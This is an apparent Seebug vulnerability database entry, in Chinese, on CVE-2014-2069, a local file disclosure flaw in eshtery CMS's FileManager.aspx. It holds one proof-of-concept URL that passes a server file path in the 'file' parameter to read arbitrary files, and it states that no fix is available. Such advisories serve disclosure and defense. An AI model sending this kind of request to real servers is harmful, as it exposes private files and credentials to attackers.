Lucene search

K
seebugRootSSV:61568
HistoryFeb 26, 2014 - 12:00 a.m.

eshtery CMS 'FileManager.aspx'本地文件泄漏漏洞

2014-02-2600:00:00
Root
www.seebug.org
13

EPSS

0.01

Percentile

84.1%

Bugtraq ID:65740
CVE ID:CVE-2014-2069

eshtery CMS是一款内容管理系统。

eshtery CMS不正确过滤用户的输入,允许远程攻击者利用漏洞提交请求读取系统任意文件内容。
0
eshtery CMS
目前没有详细解决方案提供:

http://eshtery.she7ata.com/projects/eshtery/


                                                http://www.example.com/[path]/FileManager.aspx?file=E:\web\admin.asp
                              

EPSS

0.01

Percentile

84.1%